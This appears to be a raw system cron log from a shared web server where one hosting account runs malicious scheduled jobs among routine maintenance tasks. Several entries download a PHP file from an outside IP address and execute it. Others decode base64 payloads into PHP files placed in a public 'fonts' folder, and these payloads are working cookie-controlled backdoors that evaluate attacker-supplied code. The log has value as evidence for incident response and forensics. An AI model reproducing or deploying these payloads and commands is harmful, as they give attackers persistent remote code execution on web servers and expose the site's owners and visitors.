Sep  8 08:26:01 ip-184-168-122-23 CROND[13469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:26:01 ip-184-168-122-23 CROND[13470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:26:01 ip-184-168-122-23 CROND[13471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:26:01 ip-184-168-122-23 CROND[13473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 08:27:01 ip-184-168-122-23 CROND[13724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:27:01 ip-184-168-122-23 CROND[13725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:27:01 ip-184-168-122-23 CROND[13726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:27:01 ip-184-168-122-23 CROND[13728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:28:01 ip-184-168-122-23 CROND[13823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:28:01 ip-184-168-122-23 CROND[13826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:28:01 ip-184-168-122-23 CROND[13825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:28:01 ip-184-168-122-23 CROND[13828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:28:01 ip-184-168-122-23 CROND[13827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:29:01 ip-184-168-122-23 CROND[13914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:29:01 ip-184-168-122-23 CROND[13913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:29:01 ip-184-168-122-23 CROND[13912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:29:01 ip-184-168-122-23 CROND[13915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14004]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:30:01 ip-184-168-122-23 CROND[14012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:30:01 ip-184-168-122-23 CROND[14014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:30:01 ip-184-168-122-23 CROND[14015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:31:01 ip-184-168-122-23 CROND[14133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:31:01 ip-184-168-122-23 CROND[14134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:31:01 ip-184-168-122-23 CROND[14135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:31:01 ip-184-168-122-23 CROND[14137]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:31:01 ip-184-168-122-23 CROND[14138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:32:01 ip-184-168-122-23 CROND[14314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:32:01 ip-184-168-122-23 CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:32:01 ip-184-168-122-23 CROND[14318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:32:01 ip-184-168-122-23 CROND[14319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:32:01 ip-184-168-122-23 CROND[14316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:33:01 ip-184-168-122-23 CROND[14454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:33:01 ip-184-168-122-23 CROND[14457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:33:01 ip-184-168-122-23 CROND[14455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:33:01 ip-184-168-122-23 CROND[14456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:34:01 ip-184-168-122-23 CROND[14578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:34:01 ip-184-168-122-23 CROND[14580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:34:01 ip-184-168-122-23 CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:34:01 ip-184-168-122-23 CROND[14582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:34:01 ip-184-168-122-23 CROND[14583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14714]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:35:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:35:01 ip-184-168-122-23 CROND[14727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:36:01 ip-184-168-122-23 CROND[14830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:36:01 ip-184-168-122-23 CROND[14832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:36:01 ip-184-168-122-23 CROND[14835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:36:01 ip-184-168-122-23 CROND[14833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:36:01 ip-184-168-122-23 CROND[14834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:37:02 ip-184-168-122-23 CROND[15036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:37:02 ip-184-168-122-23 CROND[15038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:37:02 ip-184-168-122-23 CROND[15040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:37:02 ip-184-168-122-23 CROND[15039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:38:01 ip-184-168-122-23 CROND[15151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
